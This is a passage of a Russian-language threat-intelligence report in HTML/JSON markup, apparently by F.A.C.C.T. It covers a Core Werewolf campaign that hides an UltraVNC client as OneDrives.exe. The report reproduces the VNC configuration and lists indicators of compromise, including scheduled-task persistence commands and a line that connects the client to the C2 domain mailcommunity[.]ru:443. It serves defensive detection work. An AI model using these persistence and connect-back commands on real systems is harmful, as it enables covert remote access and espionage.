alt=\"\u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 (censored)\" title=\"\u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 (censored)\" width=\"898\" height=\"1184\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/0bc\/e02\/4d5\/0bce024d57dafee474c54cdc3fc08768.png\"\/><\/p>\n<div><figcaption>\u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 (censored)<\/figcaption><\/div>\n<\/figure>\n<h4>UltraVNC<\/h4>\n<p>\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0435 \u041f\u041e <a href=\"https:\/\/uvnc.com\/\">UltraVNC <\/a> \u0432\u0435\u0440\u0441\u0438\u0438 1.2.0.5 \u0441 \u0438\u043a\u043e\u043d\u043a\u043e\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f OneDrive.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6f4\/2dd\/14e\/6f42dd14e4c3562ff94e836e5765b395.PNG\" alt=\"\u0418\u043a\u043e\u043d\u043a\u0430 \u0432 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 OneDrives.exe\" title=\"\u0418\u043a\u043e\u043d\u043a\u0430 \u0432 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 OneDrives.exe\" width=\"591\" height=\"447\"\/><\/p>\n<div><figcaption>\u0418\u043a\u043e\u043d\u043a\u0430 \u0432 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 OneDrives.exe<\/figcaption><\/div>\n<\/figure>\n<p>PDB-\u043f\u0443\u0442\u044c: L:\\UltraVNC_INSTALL_VS2013\\ultravnc_test2\\UltraVNC Project Root\\UltraVNC\\winvnc\\Release\\winvnc.pdb<\/p>\n<p>\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b UltraVNC.ini (dl02W62Y82w52l62d0.nq42X02g82l12L22i7) \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438: <\/p>\n<p>[Permissions]<br \/>[admin]<br \/>FileTransferEnabled=1<br \/>FTUserImpersonation=1<br \/>BlankMonitorEnabled=0<br \/>BlankInputsOnly=0<br \/>DefaultScale=1<br \/>UseDSMPlugin=0<br \/>DSMPlugin=<br \/>DSMPluginConfig=<br \/>primary=1<br \/>secondary=0<br \/>SocketConnect=0<br \/>HTTPConnect=0<br \/>XDMCPConnect=0<br \/>AutoPortSelect=0<br \/>PortNumber=5612<br \/>HTTPPortNumber=5800<br \/>InputsEnabled=1<br \/>LocalInputsDisabled=0<br \/>IdleTimeout=0<br \/>EnableJapInput=0<br \/>RemoveAero=0<br \/>DebugMode=0<br \/>Avilog=0<br \/>path=Y:<br \/>DebugLevel=0<br \/>AllowLoopback=0<br \/>LoopbackOnly=0<br \/>AllowShutdown=1<br \/>AllowProperties=1<br \/>AllowEditClients=1<br \/>FileTransferTimeout=30<br \/>KeepAliveInterval=5<br \/>SocketKeepAliveTimeout=10000<br \/>DisableTrayIcon=1<br \/>MSLogonRequired=0<br \/>NewMSLogon=0<br \/>ConnectPriority=0<br \/>QuerySetting=2<br \/>QueryTimeout=10<br \/>QueryAccept=0<br \/>LockSetting=0<br \/>RemoveWallpaper=0<br \/>RemoveEffects=0<br \/>RemoveFontSmoothing=0<br \/>[UltraVNC]<br \/>passwd=<em>\u043e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e<\/em><br \/>passwd2=000000000000000000<\/p>\n<h4>\u0421\u0435\u0442\u0435\u0432\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430<\/h4>\n<p>\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 C2 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u043e\u043c\u0435\u043d mailcommunity[.]ru.<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2ff\/4bc\/786\/2ff4bc786cdac691e0adcab9c582ce79.PNG\" alt=\"Whois-\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0434\u043e\u043c\u0435\u043d\u0430 mailcommunity[.]ru\" title=\"Whois-\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0434\u043e\u043c\u0435\u043d\u0430 mailcommunity[.]ru\" width=\"395\" height=\"251\"\/><\/p>\n<div><figcaption>Whois-\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0434\u043e\u043c\u0435\u043d\u0430 mailcommunity[.]ru<\/figcaption><\/div>\n<\/figure>\n<p>\u042d\u0442\u043e\u0442 \u0434\u043e\u043c\u0435\u043d \u0431\u044b\u043b \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0433\u043e\u0434 \u043d\u0430\u0437\u0430\u0434 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u0434\u0440\u0443\u0433\u0438\u043c \u0434\u043e\u043c\u0435\u043d\u043e\u043c \u0433\u0440\u0443\u043f\u043f\u044b Core Werewolf, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 2023 \u0433\u043e\u0434\u0443. \u0417\u0430 \u0434\u0435\u043d\u044c \u0434\u043e \u0438\u0441\u0442\u0435\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u043e\u043a\u0430 \u0436\u0438\u0437\u043d\u0438 \u0434\u043e\u043c\u0435\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u043e\u0434\u043b\u0438\u043b\u0438 \u0435\u0433\u043e \u0435\u0449\u0435 \u043d\u0430 \u0433\u043e\u0434 \u0438 \u0432 \u044d\u0442\u043e\u0442 \u0436\u0435 \u0434\u0435\u043d\u044c \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4f4\/171\/396\/4f417139686c0fb39ddb8a174835b244.PNG\" alt=\"\u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445\" title=\"\u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445\" width=\"1036\" height=\"552\"\/><\/p>\n<div><figcaption>\u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445<\/figcaption><\/div>\n<\/figure>\n<p>\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043e\u0431\u0440\u0430\u0437\u0435\u0446 UltraVNC, \u0435\u0433\u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u0430\u0434\u0440\u0435\u0441 C2 \u0442\u0430\u043a\u0438\u0435 \u0436\u0435, \u043a\u0430\u043a \u0438 \u0432 \u0440\u0430\u043d\u0435\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. <\/p>\n<p><strong>\u0421\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b<\/strong><\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Threat Intelligence \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T. \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 VirusTotal \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0420\u043e\u0441\u0441\u0438\u0438 \u0432 \u043c\u0430\u0440\u0442\u0435 \u0438 \u0430\u043f\u0440\u0435\u043b\u0435 2024 \u0433. \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0434\u0440\u043e\u043f\u043f\u0435\u0440\u044b, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Go. \u0414\u0440\u043e\u043f\u043f\u0435\u0440\u044b \u0438\u043c\u0435\u044e\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u043d\u0438 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 UltraVNC.<br \/>\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442 UltraVNC \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0445\u0435\u0448-\u0441\u0443\u043c\u043c\u0430\u043c \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c\u0438 \u0432\u044b\u0448\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 C2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u0442 \u0436\u0435 \u0434\u043e\u043c\u0435\u043d: mailcommunity[.]ru:443.<\/p>\n<p><em>UPD: \u0442\u0435\u043a\u0441\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d 17 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 \u0432 14:18.<\/em><\/p>\n<h3>\u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438<\/h3>\n<p> 7ZSfxMod_x86.exe<br \/> MD5: b4644e784d384e419a270c8a44f41dd2<br \/> SHA-1: 210d1c0e007de3c5815b1188de989799ff6b511a<br \/> SHA-256: 0de3e1349b12a96a99784c45aebbf88012562545af6ade624e78d0ff2cfd5f35<\/p>\n<p>5951402583331559 (5951402583331559.cmd)<br \/> MD5: d41d327f59c2f407a8e946d5bd333fc9<br \/> SHA-1: 36ccb806682d370baf8f0f0c7a6424601caaed9a<br \/> SHA-256: 493a08471ca2bdb89f980a5b1fb005e31bc1ca714e2da973b708d0b125d6edea<\/p>\n<p>dl02W62Y82w52l62d0.nq42X02g82l12L22i7 (UltraVNC.ini)<br \/> MD5: e265d15a83e52b9ced30f6a9d747b388<br \/> SHA-1: 6e5a802e42674f6c8de74b7bea6024f637ff39e3<br \/> SHA-256: 20b23cc90cbfbef9bb7cedfbb1b75f24a03ba96af8c576263077501814df6376<\/p>\n<p>TX24Y94E94D44c14G1.pZ49A49n99p49Q79c0 (OneDrives.exe)<br \/> MD5: d45bdf072094435bbb534b9a0c254af5<br \/> SHA-1: e1c24d8bfab674937f498701f8b25d07c56dada0<br \/> SHA-256: 2bac8b29b52f7ddd4fd19a1ace8bbc2e4ae4e834a41275fb5865eeb5ab805275<\/p>\n<p>\u0414\u0440\u043e\u043f\u043f\u0435\u0440\u044b \u043d\u0430 Go:<br \/> Pdf.exe<br \/> MD5: 08b6f274e353ce8baba43624eb552736<br \/> SHA-1: 5b1b74b5fe12e11366b63c0d8bce9411330cfb48<br \/> SHA-256: bc96b7ee0ec9b01d6ec7b887ca8da6f452fbcc9203d6ab0a8f8ccfe4fe91900f<\/p>\n<p>Pdf.exe<br \/> MD5: df6accf05af177ac467ef9df45bfd19f<br \/> SHA-1: 12855d9329e3de89475acfeb4d77415fd703a123<br \/> SHA-256: e111527ae3ba900e98fddd61d4be45c24c559d2f6bc9b2ccd327c250d460d11b<\/p>\n<p>Pdf.exe<br \/> MD5: 8ca78dd94dc795db041688a6eedf60a5<br \/> SHA-1: 70c9e8eccd43c6426cb9c86a4f76ad6d99d39dca<br \/> SHA-256: fbd4a8052a69221f27467904f83b6c36fadf0d77043ac9d0e35b2be2e43ea3a2<\/p>\n<p>Pdf.exe (\u0423\u043a\u0430\u0437 \u041f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u0430 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u0442 11.03.2024 \u2116 181.exe)<br \/> MD5: df6accf05af177ac467ef9df45bfd19f<br \/> SHA-1: 12855d9329e3de89475acfeb4d77415fd703a123<br \/> SHA-256: e111527ae3ba900e98fddd61d4be45c24c559d2f6bc9b2ccd327c250d460d11b<\/p>\n<p>\u0414\u043e\u043c\u0435\u043d (\u04212):<br \/> mailcommunity[.]ru:443<\/p>\n<p>IP-\u0430\u0434\u0440\u0435\u0441:<br \/> 185.139.70[.]84<\/p>\n<h2>\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438<\/h2>\n<p><strong>\u041f\u0443\u0442\u0438 \u043a \u0444\u0430\u0439\u043b\u0430\u043c:<\/strong><\/p>\n<ul>\n<li>\n<p>%TEMP%\\5951402583331559.cmd<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\Px69S29l29t79I69v3.ei89I49K79k99b89f2<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\perevod.pdf<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\dl02W62Y82w52l62d0.nq42X02g82l12L22i7<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\UltraVNC.ini<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\TX24Y94E94D44c14G1.pZ49A49n99p49Q79c0<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\OneDrives.exe<\/p>\n<\/li>\n<\/ul>\n<p><strong>\u041f\u0440\u043e\u0446\u0435\u0441\u0441\u044b:<\/strong><\/p>\n<ul>\n<li>\n<p>cmd.exe \/c ren 5951402583331559 5951402583331559.cmd<\/p>\n<\/li>\n<li>\n<p>cmd.exe \/c copy \/y &#171;%CD%*.*&#187; &#171;%CD%..&#187;<\/p>\n<\/li>\n<li>\n<p>cmd.exe \/c cd %USERPROFILE%\\AppData\\Local\\Temp &amp; 5951402583331559.cmd<\/p>\n<\/li>\n<li>\n<p>schtasks.exe \/create \/f \/tn &#171;OneDrive Standalone Task-S-2-7-11-9087201647-12801647-72314017-012&#187; \/tr &#171;taskkill \/f \/im OneDrives.exe&#187; \/sc daily \/st 09:11<\/p>\n<\/li>\n<li>\n<p>schtasks.exe \/create \/f \/tn &#171;OneDrive Standalone Task-S-2-7-11-83520748-3029574812-2078745392-102&#187; \/tr &#171;%HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe&#187; \/sc daily \/st 09:12<\/p>\n<\/li>\n<li>\n<p>schtasks.exe \/create \/f \/tn &#171;OneDrive Standalone Update Task-S-2-7-11-99120212-424201842-3485024-093&#187; \/tr &#171;%HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe -autoreconnect -id:%COMPUTERNAME%%RANDOM% -connect mailcommunity[.]ru:443&#187; \/sc daily \/st 09:13<\/p>\n<\/li>\n<li>\n<p>taskkill.exe \/im OneDrives.exe \/f<\/p>\n<\/li>\n<li>\n<p>OneDrives.exe -autoreconnect -id:%COMPUTERNAME%%RANDOM% -connect mailcommunity[.]ru:443<\/p>\n<\/li>\n<li>\n<p>timeout.exe \/t 1<\/p>\n<\/li>\n<li>\n<p>timeout.exe \/t 3<\/p>\n<\/li>\n<li>\n<p>timeout.exe \/t 4<\/p>\n<\/li>\n<li>\n<p>timeout.exe \/t 5<\/p>\n<\/li>\n<\/ul>\n<p><strong>\u0417\u0430\u0434\u0430\u0447\u0438 \u0432 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0435 \u0437\u0430\u0434\u0430\u0447 Windows:<\/strong><\/p>\n<ul>\n<li>\n<p>OneDrive Standalone Task-S-2-7-11-9087201647-12801647-72314017-012 &#8212; &#171;taskkill \/f \/im OneDrives.exe&#187;<\/p>\n<\/li>\n<li>\n<p>OneDrive Standalone Task-S-2-7-11-83520748-3029574812-2078745392-102 &#8212; &#171;%HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe&#187;<\/p>\n<\/li>\n<li>\n<p>OneDrive Standalone Update Task-S-2-7-11-99120212-424201842-3485024-093 &#8212; &#171;%HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe -autoreconnect -id:%COMPUTERNAME%_%RANDOM% -connect mailcommunity[.]ru:443&#187;<\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/808143\/\"> https:\/\/habr.com\/ru\/articles\/808143\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><\/figure>\n<p>\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Threat Intelligence \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T.  \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 <strong>VirusTotal<\/strong> \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0438\u0437 \u0410\u0440\u043c\u0435\u043d\u0438\u0438 (\u0433. \u0413\u044e\u043c\u0440\u0438) \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u043e\u0432 <strong>Core Werewolf<\/strong>. \u041e\u043d \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0430\u0440\u0445\u0438\u0432 7zSFX, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 &#8212; <strong>UltraVNC<\/strong>. <\/p>\n<p>\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0430\u0442\u0430\u043a\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f 102-\u044f \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0430\u044f \u0432\u043e\u0435\u043d\u043d\u0430\u044f \u0431\u0430\u0437\u0430. \u041d\u0430 \u044d\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u043a\u0442\u044b:<\/p>\n<ul>\n<li>\n<p>\u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0445\u043e\u0434\u0430\u0442\u0430\u0439\u0441\u0442\u0432\u043e \u043e \u044f\u043a\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043a \u0433\u043e\u0441\u043d\u0430\u0433\u0440\u0430\u0434\u0430\u043c, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 &#171;\u041e\u0440\u0434\u0435\u043d\u0443 \u041c\u0443\u0436\u0435\u0441\u0442\u0432\u0430&#187;  \u0432\u043e\u0435\u043d\u043d\u043e\u0441\u043b\u0443\u0436\u0430\u0449\u0438\u0445, \u043e\u0442\u043b\u0438\u0447\u0438\u0432\u0448\u0438\u0445\u0441\u044f \u0432 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0421\u0412\u041e;<\/p>\n<\/li>\n<li>\n<p>\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0431\u044b\u043b \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043d\u0430 VirusTotal \u0438\u0437 \u0433. \u0413\u044e\u043c\u0440\u0438 (\u0410\u0440\u043c\u0435\u043d\u0438\u044f), \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0434\u0438\u0441\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f 102-\u0430\u044f \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0430\u044f \u0432\u043e\u0435\u043d\u043d\u0430\u044f \u0431\u0430\u0437\u0430.<\/p>\n<\/li>\n<\/ul>\n<blockquote>\n<p><strong>Core Werewolf<\/strong> (PseudoGamaredon) \u2014 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043e\u0431\u043e\u0440\u043e\u043d\u043d\u043e-\u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043e\u043c, \u043e\u0431\u044a\u0435\u043a\u0442\u044b  \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439  \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. \u0412\u043f\u0435\u0440\u0432\u044b\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u044b \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2021 \u0433\u043e\u0434\u0430. \u0412 \u043c\u0430\u0440\u0442\u0435 2024 \u0433. Core Werewolf \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0439 \u041d\u0418\u0418, \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u043e\u043e\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u0410 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0430\u043f\u0440\u0435\u043b\u044f \u2014  \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0439 